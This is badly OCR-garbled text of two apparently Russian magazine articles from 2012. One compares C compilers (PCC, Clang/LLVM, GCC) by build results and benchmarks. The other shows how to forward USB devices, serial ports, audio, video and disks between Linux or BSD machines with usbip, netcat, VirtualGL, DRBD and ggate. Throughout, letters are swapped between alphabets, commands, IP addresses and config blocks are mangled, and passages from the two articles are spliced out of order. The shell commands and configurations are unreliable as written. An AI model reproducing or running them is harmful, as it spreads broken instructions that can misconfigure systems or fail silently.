бЗ7 1 ,29 т blc, байтl с,
R
байт,
SA
51 2
-
849,7 si
g
п/с.
самый древний компилятор из рассматриваРогtаЬlе С Соmрilег емых здесь. 0н был разработан АТ&Т в 1975-1977 годах, включен в UNlX V7 и вместо lех использовал уасс. Являлся компилятором по умолчанию до 4.4BSD, потом его заменил GCC. Какое-то время,
-
хдкЕр
12l1b7l2012
Большие гонки
.
РазмерисполняемогофайлаJоhп-178829байт,
- 4З25 c/s. . Ьziр2{размер]-244061
бенчмарк
М D5
байт,времясжатияфайла-]1 мин45с.
ппilrlltпltr rf.thenl3og:
;prGdз=tif.Glýer3(И
!a6 = load lstruct._!o_FILEi. Qstderr, aIi8n /a, tdb8 t'lО2З, ttbaa l7ЗЗ l47 = load i8rr Qрrо8папе, ali8n 4, tdb8 l1023, ltbaa |73З асаII1Зr1 = calI 1З2 (trtruct._Io_FILEr, i8r, .., )r ofprintf(t5tгUct._Io_FILEr Х46, I8r 8etei,enentptr inbounds ([19 х }8lr O.str,l6, iз2 о. .iз2 о). i8i t47, i8 * l?З) почmiпd, |db8 !102З l48: Ioad i8** Qрrо8tlmе, ali8n 4, ldb8 l1025. ltb.a t7ЗЗ (all void QIlш.db8.value(пetadata tti8r t48}, 164 о, retadata l1026) noumind , ldb8 l1027 ltr9 = Ioad tstruct._Io_FILEr. сýtdегr, alI8n 4. tdb8 t,lo28. ltbaa l7зЗ xcall.r1692 з calI i8r Qвz2_bzlibver5ion() nouмind. tdb8 tto29 I(аl1,1.it69з t call i32 (I5truct._Io_FILEr, r8r, ,.,)'efprintf(tstruct._]o_FI LEr И9, i8* 8etelФentptr inbounds ([,|2З0 х r8lr e.strloo, i,з2 о, tз2 о), isr t call.il692, i8r !a8) noumind, ldb8 tl029 call void cexrt(r32 l) noreturn nounwind, tdb8 l10зо unreachable, ldbg l10З0
760.
судя п0 комментариям в исхOдниках, принадлежал приснопамятноЙ Саldега. На него долго не обращали внимания, но, видимо, в связи с непомерным разрастанием GCC Эндерс Магнуссон в 2007 гOду решил ег0 вOзрOдить. Компилятор состоит из двух частей: passl проводит парсинг, прOверку типов и строит дерево, а paSS2 генерирует код. Еще имеется деление на фронтенд и бэкенд. Фронтенд сс выполняется пользователем и передает файл бэкенду. Тем не менее это уже не оригинальный компилятор 70-х [еще бы с того времени мнOг0 чег0 изменилOсь: пOявились нOвые архитектуры, стандарт С тоже несколько поменялся...J. Было переписано около 50% кода фронтенда и около 80% бэкенда. В настоящее время заявлена поддержка большинства фич С99. Также включен компилятор Fогtгап-77. Бэкенд С++ же, судя по всему. находится в зачаточ-
- -
-
нOм сOстOянии.
Из преимуществ отмечу размер: он и впрямь очень маленький, если сравнивать с GCC, в сжатом виде занимает всего 7З0 Кб. Разработчики также заявляют, что скорость компиляции в 5-'l0 раз выше компилятора GNU при таком же качестве кода. Получение и установка его достаточно тривиальны. Сначала получаем и собираем/ставим библиотеку pcc-libs:
-
$ wget http://pcc. Iudd. Itu. se/ftp/pub/pcc-llbsle рс с -
1
ibs - 2012О922.
./сопfigчпе && make
$ sudo
make
insta1I
А затем собственно сам компилятор:
wget ftp : //рсс.
-
.
. r
1udd
.
Itu.
tаг xzvf рсс-счгrепt.tgz
se,u
publpcclpcc - счггепt. tgz
cd рсс-2О!2О922
чоid-пустоезначение; metadata- метаданные, могут использOваться для оптимизации и отладки.
Помимо примитивов, lR-код поддерживает производные типы -такие, например, как указатели, массивы, структуры, функции... Clang является компилятором, использующим LLVM. Поддерживает он такие языки С-семейства, как С, С++, 0bjC и 0bjC++. В контексте статьи наше внимание привлекают только первые два. Из интересных фич компилятора отмечу следующие: о диагностические соO6щения. Нет, разумеется, вдругих компиляторах они тоже есть, но Сlапg буквально (тыкает носом) в ошибку, т0 есть пOказывает кусOк кOда с тOчнOстью д0 стрOки и символа, где он видитошибку или поводдля варнинга; совместимость (частичнаяl с GCC, что немаловажнодля компиляции некоторых 0реп Sоuгсе проектов; поддержка интеграции в lDE;
.
. .
ВSD-лицензия-этоделаетвозможным
встраиватьСlапg
[как и LLVM в целом) в коммерческие приложения.
t9z
$ tап xzvf pcc-libs-20120922.tgz $ cd pcc-llbs-2ot2o92?
$
-
Machine. LLVM представляет собой, грубо говоря, виртуальную RlSС-машину. <Что? Еще один ,NET?" - воскликнешь ты. На самом деле название не отражает всей сути дела: LLVM не является JlTкомпилятором хотя может (для некоторых языковl выступать в качестве такового. 0н служит для облегчения портирования программ на другие платформы.,Щелается это с помощью промежуточного представления кода |R. Над ним можно производить всевозможные трансформации, после этого он может быть преобразован в машинный код либо динамически UlТ-компиляцияl, либо статически. lR-код поддерживает следующие примитивы: . iN-целые числа произвольной разрядности, где N как раз и означает разрядность [до восьми миллионов); . числасплавающейточкой-hаlf,flоаt, dоuЬlеи некоторые машинно-специфичные типы; х86mmх-поддержка расширений ММХ. Использование этого типа дOвOльн0 0граниченн0 например, нельзя создавать массивы с ним;
-
l
А зто ассемблер lR LLVltl
-
Ты наверняка слышал о Сlапg и LLVM и не раззадавался вопросом, что это такое. Сlапg компилятор языков С-семейства в байткод LLVM. Аббревиатура LLVM расшифровывается как Low-Level Viгtuаl
Из стандартов С компилятор поддерживает то же самое, что и GCC, поэтому остановимся на поддержке С++. Поддерживаются все фичи С++98/0З, за исключением поведения в некOтOрых случаях ключевOг0 слOва ехрогt-такое поведение,
.
.
слову, убрали из С++1 'l. ИзфичС++11 поддерживаетсябольшинство-дажеите, к
которых
нет в GCC (не поддерживается разве что наследование конструкторов). Заявлена минимальная пOддержка сборки мусора и некOтOрые вOзмOжнOсти параллелизма.
./сопfigчпе && make
sudo make insta11
Перед компиляцией тестируемых программ понадобилось произвести примерно те же действия, что и в случае с оракловским Соmрilег suite: установить переменные окружения СС и СХХ равными рсс, а для bzip2 и John the Riррег еще и подправить Makefile. Библиотеку Boost по понятным причинам я даже и пытаться компилировать не стал. lmageMagick и 0penSSL не собрались. И вот результаты теста:
.
КомпиляцияАрасhе-1 мин4Зс, размерисполняемогофайла-
676 76З
хлкЕр
байта.
121167/2012
пРЕдстАвляЕт сOБOЙ, груБ0 говOря, LLV].{
РтУАл ЬнУю RISC- ].lАш и нУ. ((чт0? ЕlцЕ один .NЕт?>> воскликнЕшь Tbl Ви
UNlxolD -
ir l;11a,|l ]/:
lLlJi
,rr|]l
9айл l]paвxa gид Iерминал r l)t i,.]]ll( lnt аrtс, chJt, -JI Е7[ ] i Ilrt ch, ,r fdef
гтlЕrЕтгlilil
r|,,].:|.i
П9реход
Еправка
)
тIilI}lб
(
?oId)gettI.]eofday(&t
]
-
. NULL).
р.8п.]г]е : аr8ч[О]:
,]f
f :8km:psvmx:') )' = - 1 ) .( ffi rIe ( ((h : gеtорt(.iгЕс, .]гgч"'ОТ:W:Х:z: (ch) { 5ilrt(h 'defrnedi!,'ULTIPд55) deflned(F'Ass], /' passl debu88rn8 +/ са5е 'Х' (-optJl 8) ,!hlle ('olJt.rl8--) 5i]tch { --bdebll8, Ьrе.ik, /+ bulldtree c.lse 'Ь'] "/ */ (ase 'd', --ddebu8. Ьrеаi. /* decIaгattons bl еэk, /* ра55] exlt -/ са]5е 'е' --edrrbuЕ, */ .-1debu8. <.tse't' Ьгеаk, /' lnItlalLz.]tlons ]i].]_3 ]],
0дин из исходников РСС
Нелишне будет и упомянуть плагин DrаgопЕgg, который позволяет использовать GcC с LLVM, причем без перекомпиляции первого. Поскольку размер статьи ограничен, дам ссылку, по котороЙ ты можешь узнать о нем подробнее, Текущая версия LLVM/C|ang доступна через SVN - для ее получения используй следующие команды lподразумевается, что ты находишься в домашнем каталоге):
-
$ svn со http://llvm.oгglsvn/lIvm-pnoject,/11vm/F tгuпk llvm $ cd Ilvm/tools $ svn со http://1Ivm.orglsvn/l1vm-pгoject/cfele tгчпk clang $ cd clang/tools $ svn со http://1Ivm.oгglsvn/llvm-pгoject/* clang-tools -ехtга/tгuпk ехtга $ cd -/I1чm/ргоjесts $ svn со http://Ilvm.onglsvn/llvm-pгoject/e соmрiIег- гtltгчпk соmрilег- гt Процедура сборки и установки, как обычно, тривиальна
в каталоге llvm набираешь:
$ ./сопfiguге --optimized $ sudo
make
install
&& make
-
Что же касается безопасности и защиты прилох<ений от атак, то тут стоит упомянуть:
.
-
.
лей
-
. . . .
81З840байт.
Размер исполняемого файла John
МD5-76З2с/s.
-
1
7З 656 байт,
бенчмарк
ЬziрZ(размер)- 'l86861 байт, время сжатияфайла-9 мин З'] Бенчмарк 0penSSLAES-CBC-256 при размере блока 8]92З9
2
9'],
6б т ы
с. байт l с, RSA
5 ]2
-
2 2 0 2, /+
stgп l с.
с.
РгоРоliсе
l
,r.,, :
,
,,,':)-расширенИе
и
тому подобного.
о Сегодня FrееВSD коttпилируется не GCC, а Clang. Это связано с тем, в частнOсти, чт0 GCC перешел на GPL3, сOOтветственн0, вOзникли лицензиOнные проблемы, и разработчики пOсчитали ра_ циональным перейти на другой коttпилятор.
о На LLVM основана подсистема 0репGL в l.,lac 0S Х 10.5, а iPhone SDK использует GCC с бэкендоtt на LLVi.i.
r
ВотличиеотJV},l,
кOтOрая является стековой вирryальной ttашиной, lR-код LLV]"l 0снOван на реrистрах.
О Сборка ttycopa |9аrЬа9е collection| 0св0бождение регионов паtilяти, на кOтOрые
авт0},{атическOе
Gcc 5.0
.
Из предложений
.
-
I
Разработка пятой ветки еще не началась, но о ней уже дискугируют в списке рассылки.
.
КомпиляцияlmаgеМаgiсk-l0мин ]0с.
GCC
для GCC, разработанное lBM и предназначенное для за щиты от stack smashi пg ата к; SAFECode I |-компилятор, испольэующий LLVM и Clang, который вставляет
рантайм-проверки, чтобы избежать ошибок, связанных с memoгysafety: переполнения буфера, некорректного освобождения памяти, разыменования недействительных указате-
-j4
КомпиляцияАрасhе-2 мин2с, размерисполняемогофайла-
Е
r
БЕзOпАсньlЕ кOмпилятOры
!олжен, однако, отметить, что процедура компиляции (если говорить точнее процедура линковки) кушает изрядно памяти, так что если у тебя ? Гб или меньше, то рекомендую включить своп. Перед компиляцией тестов я установил переменные СС и Схх в сlапg и clang++ соответственно и, как и в прошлые разы, изменил mаkе-файлы bzip2 и Jоhп. На сей раз откомпилировались все тесты - да-да, и Boost тоже. Чтобы его скомпилировать, применялись те же самые команды, что и с использованием GCC, только вместо 9сс во всех случаях необходимо писать сiап9. Результаты: Компиляция Boost-5'l мин 21 с,
. .
-
Начнем с аутсайдера. Им оказался РСС он не смог скомпилировать ни lma9eMa9ick, ни 0penSSL. При выполнении бенчмарков John и bzip2 он также оказался самым медленным из всех. Oднако в случае компиляции Apache размер выходного файла httpd оказался самым маленьким, чт0 мOжет являться плюсOм... н0 тOльк0 при услOвии, если и другие результаты кOмпиляции 0кажутся соизмеримыми, а они таковыми не являются. Итог: сегодня РСС непригOден для прOмышленнOг0 испOльзOвания. Иная ситуация с остальны ми компиляторами.,Ща, оракловский компилятор не смог скомпилировать BOoSt, но то же самое не смог сделать и GCC 4.8. Что же до бенчмарков, то в тесте John GCC 4.8, безусловно, лидирует, как и в случае с bzip2, где он незначительно опережает предыдущую свою версию. Oднако в симметричном шифровании 0penSSL оракловский компилятор лидирует... чтобы в асимметричном шифровании благополучно затормозить более чем вдвOе, в т0 время как 0стальные держались примерн0 на 0днOм уровне с легким превосходством в симметричном шифровании Сlапg. По итогаt,1 сравнения размеров выигрывает компилятор 0гасlе, который незначительно опережает Сlапg. Выбрать победителя оказалось сложновато, но все же, с учетом дальнейших перспектив, таковым могу назвать Сlапg. Почему именно его? Во-первых, он компилирует Boost - с чем, кроме него, справилась только стабильная версия GCC. Во-вторых, в тестах 0penSSL он лидирует без явных перекосов в сторону симметричного шифрования. Ну и в-третьих сама идея оптимизации с использованием промежуточного кода очень и очень перспективна.
хочу отметить следующие:
Модульность.конечноже,разработчики понимают, что это будеттрудно. Но они также осOзнают и ее преимущества. Сборка мусора. Имеется в видусборка мусора при кOмпиляции в самOм кOмпилятOре, не в кOмпилируемой программе. Улучtшенная поддержка метапрограммирования.
На диске
ты найдешь
пOследние версии GCC, РСС и Сlап9/
LLvM.
I i,
I
i
время 0т времени 0 ре п В е пс h m а r ki п g.
0r9 прOвOдиттесты к0},lпилятOрOв.
хлкЕр 12l1b7l201?
UNlxolD
Евrений 3обнин [ехесЬit.гul
Ис
СОПРЯЖЕНИЯ ,) l
прOБрАсьlвАЕм жЕлЕз0 п0 сЕти В начале девяностых создатели UNlX вьlпустили на pblHoK операционную систему Рlап 9, которая пOзвOляла легк0 и прOзрачн0 пOлучать дOступ
любым устройствам удаленной машины с помOщью простого монтирования сетевой файловой системы. 0С не снискала популярности, уступив мест0 классическим никсам, кOтOрые в то время вообще не имели подобной функциональности. Изменилась ли ситуация сейчас, Mbl попробуем разобраться в этой статье. к
хлкЕр 12l1b7/2012
lТJГJдlЕТrrr В никсах почти все железные компоненты компа представлены в виде доступных для чтения и записи файлов, работать с которыми
можно с помощью стандартных команд echo, cat, 9гер и так далее. 0днако смонтировать эти файлы с удаленной стороны не получится, так как их пOддержка пOлнOстью реализOвана внутри ядра и жестко привязана к локальной машине. Это ограничение было устранено в Рlап 9 с помощью сетевого RРС-протокола 9Р, который использовался всегда и везде, для доступа как к локальным файлам и устройствам, так и к сетевым. В UNlX же все осталось пO_прежнему.
Тем не менее на сегодняшний день существует несколько вариантов проброса файлов устройств на другую машину средствами различных утилит, а также драйверов, использующих в своей
UNlxolD
filеsчstвп шhiсh Uзвз 19В8В4ВВ4 tB счrrепt сопfigorёtiоп leaves Usable 29З0162В kB FоUпd ext2
Oevlca зlzе UoUId Ье tгUncated, Uhlсh Uould соrruрt data and aезUlt iп 'ёссеss ЬвUопd епd of device' еrrоrs. you need to either
Никогда не пытайся повторно инициализировать DRВD-хранилище
работе собственные протоколы и разработкri. В этой статье мы рассмотрим большинство из них и попробуем перебросить по сети USВ-устройства, звуковую карту, видеоадаптер и дисковые нак0
п
ител и.
ffi
Наверное, чаще всего у пользователей возникает потребность перекинуть по сети USB- или СOМ-порты. Это может быть необходимо, чтобы экспортировать устройства и накопители в виртуальную машину, работающую в кластере, подключить различную периферию, да и просто иметь доступ к удаленной веб-камере с другоЙ машины. В Linux для этой цели можно воспользоваться usbip (usЬiр.sоuгсеfогgе,пеtl специальным виртуальным хостконтроллером USB [Viгtuаl Host Сопtгоllег lпtегfасе), позволяющим экспортировать любое USВ-устройство с одной машины, а затем импортировать с другой, да так, что никакой сторонний софт не заметит разницы между локальным устройством и удаленным. Использовать usbip довольно просто. Во-первых, следует установить демон usbip на серверную машину [ту, с которой будет происходить экспортl:
-
$ sudo apt-get insta1I usbip Затем необходимо загрузить два ядерных модуля, входящих в пакет:
$ sudo $ sudo и
mоdргоЬе usbip_common_mod mоdргоЬе usbip
на шине:
Чтобы расшарить устройство с нужным busid [например, 1-'1.2l, просто вбиваем следующую команду:
$ sudo usbip_bind_dniveг --usbip l-t,2 После этого перехOдим к клиентской машине, так же устанавливаем на нее пакет usbip и загружаем модули (на этот раз вторым модулем идет vhci-hcdl:
$ sudo apt-get instaI1 usbip $ sudo mоdрпоЬе usbip_common_mod $ sudo mоdргоЬе vhci-hcd получаем список устройств с серверной машины:
$ sudo usbip --1lst 192.168.0.101 122
+
Епеmу Теrritоrу: 0uake Wars
$ sudo uSbip --attach 192.168.0.1,01,
1,-7,2
,Щля проверки запускаем lsusb, который должен вывести имя подключенного устройства на экран. ,Щалее работаем с устройством так, как если бы оно было локальным; устройство появится в каталоге /dev, поэтому сразу сработает udev и девайс будет автоматически распознан и подключен, будь это веб-камера или USВ-флешка. С СOМ-портами дело обстоит еще проще. Коннект между двумя удаленными портами можно организовать без всяких драйверов, с помощью простой утилиты геmsеriаl (рссоmр.Ьс.са/геmsегiа ). ,Щопустим, тебе необходимо соединить порт /dev/ttyS0 с удаленной машиной. Все, что нужно сделать, - это установить геmsегiаl и запустить ег0:
$ sudo apt-get insta}1 геmsепiа1 $ геmsегiаI -d -р 2ЭOОО -s "1,L52О0 гаw" /dev/ttyS0
&
где опция -d указывает на запуск в режиме демона, -р сетевой порт, -s параметры stty, в данном случае скорость и режим
-
-
работы (подойдет практически для всех случаевl. ,Щалее переходим на клиентскую машину и запускаем геmsегiаI на ней: 2ЗООО
е
"115200 паw" /devlttySO
Теперь два порта связаны, и можно легко подключать к ним оборудование или запускать софт.
$ sudo usbip_bind_dгiveг --1ist
,Щалее
ТчrЬоVNС
и подключаем нужное с помощью следующей команды:
-s
-D
!алее смотрим список USВ-устройств
+
$ геmsегiаI -d -г 192.168.0.101 -р
запустить usЬiр-демон:
$ sudo usbipd
VirtualGL
ЕlЕt+rtЕпп Переброс звуковой карты на другую машину также одна из частых задач, встающих перед пользователями. Это может понадобиться, чтобы создать НТРС из старого компа либо организовать полноценный тонкий клиент, пользователь кOторого сможет не только видеть картинку на экране и управлять курсOрOм, н0 и запускать различные медиаприлOжения с вOзмOжнOстью прOигрывания звука, !ля Linux [как, впрочем, и для других никсов) никаких псевдодрайверов, выполняющих подобную функцию, пока не придумано, зато проброс аудио можно организовать средствами звуковой подсистемы ALSA или с помощью звукового сервера PulseAudio, который сегодня предустановлен почти во все сколько-нибудь популярные Liпuх-дистрибутивы. Кроме них, конечно, существуют и другие аудиосерверы, например профессиональныЙ JACK или популярный некогда ESD, однако они распространены гораздо меньше, поэтому мы их обсуждать не будем. Итак, начнем с PulseAudio как наиболее простого и удобного варианта проброса звука. Здесь все настолько просто, насколько во-
хлкЕр 12/1ь7/2012
Искусство сопряжения
-
обще возможно. Первое, что необходимо сделать, это выяснить lD нужного нам аудиовыхода.,Щелается это с помощью стандартной команды pactl IPulseAudio Сопtгоl):
d:480Mb/ý Фlgh)
vвBlon:1.00
Сlеýз: 00(>rE ) SчЬсlаsз: 00 Protocol: 00 m Dgrault Endpolnt Slle: а of Со]rfgчrdlопз; 1 ld: 05а9
$ pactl Iist I gгер alsa_out
Nаmе : а 1sa_output . pci - аOОО _ОО _07 . 0. а na log- stеrео Мопitоп Sочгсе : alsa_output. pci-OOO0_00_07 .О.в analog- stегео. moniton Name : а1 sa_output . рс i - 0ОOО _ОО _О7 . 0 .analog - stегео. Мопitог of Sink: alsa_output .pci-oooo_oo_o7.o.e апаIоg- stегео
ld: аЕ11 mоп
NчmЬ8r 1.00
itог
NчmЬвr
а
NamB: 0v51
ргосеss -time-msec=5000
1
EndpOlnt Аddrosз: Dlвctlon: lп
затем завернуть ег0 на вхOд на стOрOне клиента:
- -
1
Allsmatg NчmЬоп 0 cleý9: Цv9nd) Sub С|тз: 0 Protocol: 0 Numb€I о' Endpolntr:
-
$ пс 192.168.1.1 8008 | pacat -р --Iatency-msec=5000
htоihсоз:
lпtэfесo NчmЬеп 0
Нам нужен выход с названием Мопitоr Sоuгсе, просто копируем его полное имя в буфер обмена, ,Щальше достаточно перенаправить выход в сеть с помощью обычного netcat:
$ pacat -r -d alsa_output.pci-OOO0_00_1b.0. апаlоg-stегео.mопitоr | пс -1 8888
1
of
Attdbute0: Е0 маеФвr Nвбdod: ý{l()mА
вепаtп l
р
СоrtПgчв
Be6-Katlepa, подключённая
той же целью можно использовать SSH, причем даже не перехOдя на клиентскую машину для выпOлнения кOманд:
с
Аьош
|
1
а1
Сtооэ
l
l
поllоlцью usbip
С
$ pacat -г -d alsa_output.pci-o0o0_o8_1b.0. р апаlоg-stегео.mопitог | ssh чsег@192.168.1.1 е "play -t гаw -п 44t0O -с -s -Ь 16 --Ьчffег 100"
Таким образом мы получим своего рода виртуальную звуковую карту, с которой сможем снимать звук и отправлять его на другую машину. Сделать это можно по SSH с помощью следующей команды, запущенной на приниl,tающей машине:
$ ssh -С
-t
sox -q
IР-отдающей-машины
wav -Ь 24
-r 4Sk - | ptay -q
-t alsa loop е
Замечу, что работает такая связка неидеально, создавая небольшие задержки. В случае прослушивания музыки это не проблема, но если задержки возникают при просмотре видео, устранить их можно с помощью настроек синхронизации аудио/видео, которые есть у любого вменяемого видеоплеера, Если PulseAudio на машинах не установлен и устанавливать его не очень хочется, воспользуйся возможностями ядерного АLSА-модуля snd-aloop, позволяющего создать <<канал>, в который можно вогнать звуковой поток из любого приложения и снять его с другого конца. Модуль есть в стандартном комплекте ядра, пOэтOму перед использованием достаточно вызвать mоdргоЬе. Сделать это необходимо на передающей машине:
Здесь запускается звуковой проигрыватель sox (его тоже надо установить) на передающей машине, которому в качестве аудиоустройства для снятия звука передается имя виртуальной звуковухи {loopJ, а затем снятый аудиопоток передается команде play уже на локальной (принимающей) машине, которая проигрывает звук. В этом варианте соединения также есть проблема задержек, зато он не требует ненавистного многим PulseAudio. Кстати, проблему задержек можно если не решить, то существенно снизить, закодировав звуковой поток в МР3.,Щелается это так. На передающей стороне запускаются следующие команды:
$ sudo mоdрrоЬе snd-aIoop
$ sudo
той же машине создаем файл -/.аsоuпdгс и пишем в нег0 следующее:
-acodec 1iЬmрЗlаmе -Ь 128k
,Щалее на
$ vi -7..rouno". рсm.
!default
type
}
"hw:
Loopback,0,0"
lоор { type plug "hw: Loopback,
1,0"
$
0Жн 0стЬ
итЬ Ауди0 чЕрЕз сЕть пOзвOляЕт поднять гOлOсOвоЙ чдт хлкЕр
].,l
12/16712012
IP - передающей-машины
-f гtр н
:
6000
е
&
-
}
В03
//
hw:Loopback,1,O
Здесь сначала подгружается знакомый нам модуль snd-aloop, затем запускается сервер FFmреg. 0н снимает звук с виртуальной звуковой карты, перекодирует его в МРЗ, а затем формирует RТР-поток, который можно будет получить по адресу lP, порт 6000, Чтобы запущенные приложения по умолчанию использовали виртуальную звуковуху, надо создать файл -/.аsоuпdгс, как в предыдущем примере. На клиентской стороне следует создать описание RТР-потока [например, /tmp/stгeam.sdp), помефайл стив в нег0 следующие стрOки:
рсm.
slave.рсm
:
-f alsa -ас 2 -i
а
{
dmix
slave. pcm
mоdргоЬе snd-aloop
$ ffmpeg rtр
-
п
Р0 БРOс
vi
/tmp./stream.sdp
о=- 0 0 IN IP4 IP-cepвepa c=IN IP4 IP-cepBepa m=audio 6000 RTP/AVP 14
А далее просто запустить МРlауег:
$ mрlауег /tmp/stгeam.sdp -геаllу-qчiеt </dev/nu1I
UNlxolD
Application lVirtualGl
Sеrчеr i
Servert
Client
i
Network
$ wget http://goo.g1l60a65 $ sudo dpkg -i viгtualgI*.deb
Принцип работы VirtualGL
Кстати, используя возможность проброса аудио через сеть, можно организовать полноценный голосовой чат с помощью подручных инструментов. В случае с PulseAudio достаточно перекинуть звуковой поток в обе стороны, но сделать то же самое с помощью snd-aloop уже вряд ли получится. Наиболее элегантный вариант такой настройки был найден разработчиками 0penBSD, которые использовали для этой цели звуковой сервер/микшер а U
cat.
Вся схема запуска aucat для перенаправления звукового потока стороны при этом будет выглядеть примерно следующим
в обе
об раз
работу и даже смотреть видео. Oднако наиболее интересных результатOв мOжн0 дOстичь, если воспOльзOваться в03мOжн0стями библиотеки VirtualGL [www.viгtualg .огgJ. 0на позволяет перенаправлять GL-команды на удаленный сервер с мощной видеокартой, способной быстро обработать команды и сформировать картинку, которая затем будет отправлена обратно клиенту. Таким образом можно запускать даже самые тяжеловесные игры и ЗD-приложения на слабеньком ноутбуке при условии, что интернет-канал позволит без серьезных задержек возвращать картинку клиенту, Настроить ViгtuаlGL достаточно просто, !ля этого организуй Х1'l-форвардинг, как показано выше, затем скачай и установи ViгtuаlGL на обе машины:
После этого останови на серверной машине Х-сервер, например прибив логин-менеджер GDM:
$ sudo stop
gdm
Теперь запусти на серверной машине конфигуратор ViгtuаlGL, который внесет правки в конфиг Х.огg, подменит 0penGLбиблиотеку и сделает другую грязную работу за тебя:
$ sudo /орt/ViгtчаlGL/Ьiп/чglsегчеп_сопfig -config +s +f
-t
е
ом:
$ aucat -I $ aucat -о - | ssh useг@host aucat -i
,Щалее и ну:
запускай заново Х.огg и возвращайся на локальную
маш -
0бе команды необходимо выполнить на обеих машинах. Первая запускает aucat в режиме сервера, вторая перенаправляет звуковой выход одной машины на вход другой. Единственное условие необходимо запускать все команды от имеработы такой связки ни одного и того же пользователя на обеих машинах [с одинаковым UlD), иначе aucat с одной машины не сможет принять звуковой поток от aucat на другой машине [ограничение безопасности).
-
ЕЕЕыrilЕrt
Существует множество способов перекинуть видеокарту, а точнее, содержимое экрана на удаленную машину. Наиболее простой из них использовать стандартные клиенты удаленного рабочего стола, такие как RDesktop и VNC, Но самым распространенным и удобным способом сделать это в UNlX остается X'l 'l, а если точнее- форвардинг протокола Х11 по SSH, настроить который проще, чем передачуХ11 напрямую. Все, что требуется для этого сделать, включить форвардинг на стороне SSH-cepBepa (той машины, на которой будут запускаться удаленные графические приложения), добавив в файл /etc/ssh/ sshd_conf ig одну строку:
-
-
ХllFогwагdiпg yes и перезагрузив сервер:
$ sudo /etc/init.d/gdm stant Теперь можно подключиться к серверу и запустить нужное прилOжение:
$ vglconnect чsег@сервер $ чglгuп /чsг/Ьlп/хопоtiс На стандартных настройках картинка будет, скорее всего, тормозить, но, если немного убавить качество, можно добиться вполне приемлемых результатов. Например, следующая команда создаст подключение к серверу со сжатием картинки в формате JPEG, качеством 40 и частотой кадров 25:
$ чgIгчп -np 2 -с jpeg -q 40 -samp 1 -fps 25
приложение
Таких настроек с лихвой хватит для вполне комфортной игры на 'l0-мегабитном канале. Кстати, на диске ты найдешь скрипт vgl.sh, с помощью которого можно автоматически подключаться к нужному серверу [причем даже в том случае, если ты находишься за NAT'oM] и выполнять проброс аудиопотока со сжатием в МРЗ [как было показано paHeel. !остаточно прописать в начале сценария нужного юзера и адрес сервера (переменные usег и sегчегl. После запуска сервера останется только выполнить команду чglгuп, и ты получишь картинку и звук.
$ sudo /etc/init.d/sshd пеstагt А затем просто подключиться к серверу с помощью SSH, не забыв указать имя запускаемого приложения:
$ ssh -Х чsег@сервер 'сhгоmiчm' Задействовав этот метод передачи картинки вместе с передачей аудио, можно вполне комфортно выполнять обычную
С пробросом дисковых накопителей по сети все намного сложнее. несмотря на существование способов проброса диска или раздела на другую машину, его все равно нельзя будет использовать с обеих машин одновременно из-за рассинхрониза,Щело в тOм, что,
ции метаданных файловой системы. Чтобы этого избежать, можно использовать кластерные файловые системы, в которых применяется множество различных блокировок и методов синхронизации, но легче воспользоваться сетевыми файловыми системами, типа
хдкЕр
12116712012
Искусство сопряжения
Сrеаtiпg /etc/modprobe.d/virtualgl,сопf to set requested реrmissiопs fог /dev/nv id iax Httempting to rеmоче nvidia module frоm mеmоrц so device реrmissiопs ulill ье rеlоаdеd Grапtiпg rorite реrmissiоп to /dev/nvidiaO /devlnvidiactl fоr all чsегs Hodifgiпg /еtс/Хlllхоrg,сопf to епаЬlе DRI реrmissiопs fоr alI чsеrs Hdding xhost +LOCRL: to /etc/gdп/Init/Default script Конфигуратор virtualGL
в
работе
NFS или ClFS lSambaJ, для удобного доступа к удаленным данным, но об этом уже немало написано. Я же хочу предложить простой способ экспорта дискового девайса, он широко применяется в серверах, но незаслуженно забыт обычными пользователями. В Linux такой экспорт можно осуществить с помощью драйвера DRBD (Distгibuted Replicated BIock Device), позволяющего отзеркалить диск/раздел на удаленную машину так, что все записываемые данные будут мгновенно попадать на диски/разделы обеих машин. ,Щля его настройки создаем файл /еtс/dгЬd.сопf:
$ sudo vi /еtс/dгЬd.сопf global { usage-count no; } соmmоп { sупсег { гаtе 100Mj i геsоuгсе г0 { ргоtосоl
стартуем демон DRBD:
$ sudo /etc/init.d/dгbd stant ,Щалее переходим на ту машину, которая будет работать с данными {одновременный доступ к хранилищу может получить только одна из них), и делаем ее мастером:
$ sudo
dгЬdаdm ргimапу а11
60.;
Все, теперь в хранилище можно создать файловую систему
}
net
dгЬd0
}
15;
degn-wfc-timeout
$ sudo drbdadm сгеаtе-md и
С;
staгtup { wfc-timeout
где в опциях disk раздела оп nodeX указываем имя дискового накопителя / раздела на обеих машинах (разделы следует создать заранее, но они необязательно должны быть равны по размеру), а сразу после него прописываем lР-адрес машины. Щалее копируем файл на обе машины и устанавливаем пакет dгЬd8-utils. Также на обеих машинах запускаем инициализацию хранилища:
и смOнтирOвать ее: {
сгаm-hmас-аlg sha1;
shагеd-sесrеt
"ПАРOЛЬ" ;
$ sudo mkfs.ext4 /dev/drbdO $ sudo mount /dечldгЬd0 /mnt
}
оп node1
device /dev/drbdO; disk /dev/sda5.; addгess 192.
\J
168. а.
meta-disk interna1;
оп node2
По сути, мы получили сетевой RАlD-массив, доступ к которому может иметь только один хост. 0днако, если тебе потребуется
{
ti7788;
{
device /dev/drbdo;
disk /devlsda7; addгess 792.
768, О. 2 |7788 ;
meta-disk iпtегпа1;
получить доступ к данным с другой машины, достаточно просто размонтировать файловую систему на текущем мастере, сделать втOрую машину мастером и смонтировать хранилище на ней. Все эт0 делается с пOмOщью трех элементарных кOманд. Если же речь идет о FгееВSD, то здесь вообще не придется заморачиваться с RАlD-массивами, а можно просто экспортировать диск на другую машину с помощью GЕOМ-класса ggate. На машинесервере создаем файл /etc/gg.expoгts и пишем в него следующую стр
0
ку:
$ sudo
vi
/еtс,/gg.ехрогts
192. 168. 7.О/24 RW /dev/da0s4d
} }
где первое поле
-
пOлЕзнь!Е мЕлOчи
это подсеть, которой разрешен доступ к диску, чтение/записьJ, третье имя демон ggated с помощью одноименной команды, затем переходим на машину-приемник [клиент], пOдключаем и мOнтируем диск:
Слинковать два СOМ-порта на одной машине можно с помощью
$ sudo ggatec сгеаtе -о гW 192.168.1.1 /dev/daOs4d $ mount /dev/ggate0 /mnt
- режим экспорта [RW диска/раздела.,Щалее запускаем втOрое
утил иты socat:
$ sudo socat /dеч/ttуSO,гаw,есhо=O,сгп1 р /dev/ttys].,
паw, echo=O;
сгпl
Расшаренные с помощью usbip устройства можно подключить также и в windows: % %
usbip.exe -1 192.168.0.101 usbip.exe -а 192.168.0.to7 t-2.2
